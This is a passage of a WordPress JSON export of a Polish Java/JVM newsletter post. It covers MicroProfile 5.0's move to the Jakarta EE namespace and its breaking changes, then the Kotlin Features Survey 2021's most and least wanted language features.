dosta\u0142 namespace Jakarty EE!...\"<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image is-resized\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883675b978.png\" alt=\"\" width=\"991\" height=\"993\"\/><figcaption>\"MicroProfile dosta\u0142 namespace Jakarty EE!...\"<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Tylko tyle i a\u017c tyle, bowiem upgrade do MicroProfile w wersji pi\u0105tej wcale nie b\u0119dzie \u0142atwy i przyjemny. Nowe \u201cdu\u017ce\u201d wersje dosta\u0142o prawie 20 zale\u017cno\u015bci, a cz\u0119\u015b\u0107 z nich z\u0142ama\u0142a przy migracji na Jakart\u0119 EE kompatybilno\u015b\u0107. Najwi\u0119ksze zmiany dotkn\u0105 chyba u\u017cytkownik\u00f3w microprofile-metrics-4.0 (w kt\u00f3rym min. przestaje dzia\u0142a\u0107 pochodz\u0105ca z CDI anotacja @Metric) i powi\u0105zanego z nim microprofile-fault-tolerance (kt\u00f3ry zmieni\u0142 ca\u0142kiem sporo drobiazg\u00f3w, jak np. urle pod kt\u00f3rymi dost\u0119pne s\u0105 metryki). Na szcz\u0119\u015bcie, w wi\u0119kszo\u015bci przypadk\u00f3w zmiany sprowadza si\u0119 po prostu do upgrade API pochodz\u0105cych z&nbsp; Jakarty EE.<\/p>\n","innerContent":["\n<p>Tylko tyle i a\u017c tyle, bowiem upgrade do MicroProfile w wersji pi\u0105tej wcale nie b\u0119dzie \u0142atwy i przyjemny. Nowe \u201cdu\u017ce\u201d wersje dosta\u0142o prawie 20 zale\u017cno\u015bci, a cz\u0119\u015b\u0107 z nich z\u0142ama\u0142a przy migracji na Jakart\u0119 EE kompatybilno\u015b\u0107. Najwi\u0119ksze zmiany dotkn\u0105 chyba u\u017cytkownik\u00f3w microprofile-metrics-4.0 (w kt\u00f3rym min. przestaje dzia\u0142a\u0107 pochodz\u0105ca z CDI anotacja @Metric) i powi\u0105zanego z nim microprofile-fault-tolerance (kt\u00f3ry zmieni\u0142 ca\u0142kiem sporo drobiazg\u00f3w, jak np. urle pod kt\u00f3rymi dost\u0119pne s\u0105 metryki). Na szcz\u0119\u015bcie, w wi\u0119kszo\u015bci przypadk\u00f3w zmiany sprowadza si\u0119 po prostu do upgrade API pochodz\u0105cych z&nbsp; Jakarty EE.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>No c\u00f3\u017c, ma\u0142y krok dla programist\u00f3w, du\u017cy dla standardu. Ciekawe co, bior\u0105c pod uwag\u0119, \u017ce ju\u017c wszystko zosta\u0142o posprz\u0105tane, przyniesie nam MicroProfile 6.0.<\/p>\n","innerContent":["\n<p>No c\u00f3\u017c, ma\u0142y krok dla programist\u00f3w, du\u017cy dla standardu. Ciekawe co, bior\u0105c pod uwag\u0119, \u017ce ju\u017c wszystko zosta\u0142o posprz\u0105tane, przyniesie nam MicroProfile 6.0.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/heading","attrs":[],"innerBlocks":[],"innerHTML":"\n<h2>3. Wyniki Kotlin Features Survey 2021 \ud83d\udcc8<\/h2>\n","innerContent":["\n<h2>3. Wyniki Kotlin Features Survey 2021 \ud83d\udcc8<\/h2>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>A na koniec - Kotlin. Wiem, w ostatni wtorek ca\u0142a edycja po\u015bwi\u0119cona by\u0142a w\u0142a\u015bnie temu j\u0119zykowi, ale nic nie poradz\u0119, \u017ce JetBrains strzela jak z karabinu. Okaza\u0142y si\u0119 bowiem w\u0142a\u015bnie wyniki sonda\u017cu w\u015br\u00f3d spo\u0142eczno\u015bci na temat najbardziej chcianych i najbardziej niechcianych j\u0119zyk\u00f3w, kt\u00f3re ukszta\u0142tuj\u0105 pewnie prac\u0119 nad Kotlinem na najbli\u017csze lata<\/p>\n","innerContent":["\n<p>A na koniec - Kotlin. Wiem, w ostatni wtorek ca\u0142a edycja po\u015bwi\u0119cona by\u0142a w\u0142a\u015bnie temu j\u0119zykowi, ale nic nie poradz\u0119, \u017ce JetBrains strzela jak z karabinu. Okaza\u0142y si\u0119 bowiem w\u0142a\u015bnie wyniki sonda\u017cu w\u015br\u00f3d spo\u0142eczno\u015bci na temat najbardziej chcianych i najbardziej niechcianych j\u0119zyk\u00f3w, kt\u00f3re ukszta\u0142tuj\u0105 pewnie prac\u0119 nad Kotlinem na najbli\u017csze lata<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":[],"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a8836f1a496.png\" alt=\"\"\/><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a8836f1a496.png\" alt=\"\"\/><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Bardzo ciesz\u0119 si\u0119, \u017ce w\u015br\u00f3d najbardziej oczekiwanych funkcji j\u0119zyka, na pierwszym miejscu znalaz\u0142 si\u0119 z du\u017c\u0105 przewag\u0105 m\u00f3j faworyt - znane z Javy Multicache i znane z TypeScripta (i oczywi\u015bcie nie tylko) unie. Opr\u00f3cz tego, w topce znalaz\u0142y si\u0119 te\u017c litera\u0142y dla kolekcji (co, bior\u0105c pod uwag\u0119 jak zwi\u0119z\u0142e jest listOf czy mapOf, nie uwa\u017cam za co\u015b krytycznego), a ostatnie miejsce podium to Multiple receivers on extension functions and properties - funkcjonalno\u015b\u0107 przydatna do rozszerzania klas pochodz\u0105cych z bibliotek zewn\u0119trznych, w czym u\u0142atwienia szuka 30 % os\u00f3b,&nbsp;<\/p>\n","innerContent":["\n<p>Bardzo ciesz\u0119 si\u0119, \u017ce w\u015br\u00f3d najbardziej oczekiwanych funkcji j\u0119zyka, na pierwszym miejscu znalaz\u0142 si\u0119 z du\u017c\u0105 przewag\u0105 m\u00f3j faworyt - znane z Javy Multicache i znane z TypeScripta (i oczywi\u015bcie nie tylko) unie. Opr\u00f3cz tego, w topce znalaz\u0142y si\u0119 te\u017c litera\u0142y dla kolekcji (co, bior\u0105c pod uwag\u0119 jak zwi\u0119z\u0142e jest listOf czy mapOf, nie uwa\u017cam za co\u015b krytycznego), a ostatnie miejsce podium to Multiple receivers on extension functions and properties - funkcjonalno\u015b\u0107 przydatna do rozszerzania klas pochodz\u0105cych z bibliotek zewn\u0119trznych, w czym u\u0142atwienia szuka 30 % os\u00f3b,&nbsp;<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":[],"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883709a8e2.png\" alt=\"\"\/><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883709a8e2.png\" alt=\"\"\/><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Ale chyba nawet ciekawsze od tego, co spo\u0142eczno\u015b\u0107 chce, \u017ceby tw\u00f3rcy Kotlina dodali, jest to czego nie chce widzie\u0107 w swoim j\u0119zyku. Wielu programist\u0105 Javy z d\u0142u\u017cszym sta\u017cem (ale takim 15+, nie \u017ce Polski Senior 3+) pewnie za zgrzytaj\u0105 z\u0119by widz\u0105c, jak umiera nadzieja na package-private. Funkcjonalno\u015b\u0107 ta zaj\u0119\u0142a drugie miejsce w\u015br\u00f3d funkcji najbardziej niechcianych, zaraz po operacjach na bitach. Ja osobi\u015bcie nie czuje wi\u0119kszej potrzeby package-private, ale znam sporo ludzi, kt\u00f3rym brak takowej bardzo przeszkadza. Co ciekawe, na li\u015bcie niechcianych funkcjonalno\u015bci wysoko s\u0105 r\u00f3wnie\u017c Litera\u0142y Kolekcji, o kt\u00f3rych pisali\u015bmy powy\u017cej przy najbardziej chcianych dodatkach do j\u0119zyka. Wida\u0107, \u017ce spo\u0142eczno\u015b\u0107 pod tym wzgl\u0119dem jest deczko podzielona.<\/p>\n","innerContent":["\n<p>Ale chyba nawet ciekawsze od tego, co spo\u0142eczno\u015b\u0107 chce, \u017ceby tw\u00f3rcy Kotlina dodali, jest to czego nie chce widzie\u0107 w swoim j\u0119zyku. Wielu programist\u0105 Javy z d\u0142u\u017cszym sta\u017cem (ale takim 15+, nie \u017ce Polski Senior 3+) pewnie za zgrzytaj\u0105 z\u0119by widz\u0105c, jak umiera nadzieja na package-private. Funkcjonalno\u015b\u0107 ta zaj\u0119\u0142a drugie miejsce w\u015br\u00f3d funkcji najbardziej niechcianych, zaraz po operacjach na bitach. Ja osobi\u015bcie nie czuje wi\u0119kszej potrzeby package-private, ale znam sporo ludzi, kt\u00f3rym brak takowej bardzo przeszkadza. Co ciekawe, na li\u015bcie niechcianych funkcjonalno\u015bci wysoko s\u0105 r\u00f3wnie\u017c Litera\u0142y Kolekcji, o kt\u00f3rych pisali\u015bmy powy\u017cej przy najbardziej chcianych dodatkach do j\u0119zyka. Wida\u0107, \u017ce spo\u0142eczno\u015b\u0107 pod tym wzgl\u0119dem jest deczko podzielona.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Je\u017celi jeste\u015bcie ciekawi komentarzu nie tylko mojego, ale i architekt\u00f3w Kotlina - ca\u0142o\u015b\u0107 badania <a href=\"https:\/\/blog.jetbrains.com\/kotlin\/2021\/12\/kotlin-features-survey-2021-results\/\">znajdziecie tutaj<\/a>.<\/p>\n","innerContent":["\n<p>Je\u017celi jeste\u015bcie ciekawi komentarzu nie tylko mojego, ale i architekt\u00f3w Kotlina - ca\u0142o\u015b\u0107 badania <a href=\"https:\/\/blog.jetbrains.com\/kotlin\/2021\/12\/kotlin-features-survey-2021-results\/\">znajdziecie tutaj<\/a>.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"align":"center","id":3450,"sizeSlug":"full","linkDestination":"none"},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/image.png\" alt=\"\" class=\"wp-image-3450\"\/><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2021\/12\/image.png\" alt=\"\" class=\"wp-image-3450\"\/><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>PS: Tak jak dzisiaj spojrzeli\u015bmy na przysz\u0142o\u015b\u0107 Kotlina, tak ju\u017c za tydzie\u0144 przyjrzymy si\u0119 finalnej li\u015bcie featur\u00f3w, kt\u00f3re trafi\u0105 JDK 18, kt\u00f3ra ukaza\u0142a si\u0119 w zesz\u0142y pi\u0105tek.<br><\/p>\n","innerContent":["\n<p>PS: Tak jak dzisiaj spojrzeli\u015bmy na przysz\u0142o\u015b\u0107 Kotlina, tak ju\u017c za tydzie\u0144 przyjrzymy si\u0119 finalnej li\u015bcie featur\u00f3w, kt\u00f3re trafi\u0105 JDK 18, kt\u00f3ra ukaza\u0142a si\u0119 w zesz\u0142y pi\u0105tek.<br><\/p>\n"]}],"_links":{"self":[{"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/posts\/10033","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/comments?post=10033"}],"version-history":[{"count":1,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/posts\/10033\/revisions"}],"predecessor-version":[{"id":10543,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/posts\/10033\/revisions\/10543"}],"wp:attachment":[{"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/media?parent=10033"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/categories?post=10033"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vived.io\/pl\/wp-json\/wp\/v2\/tags?post=10033"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}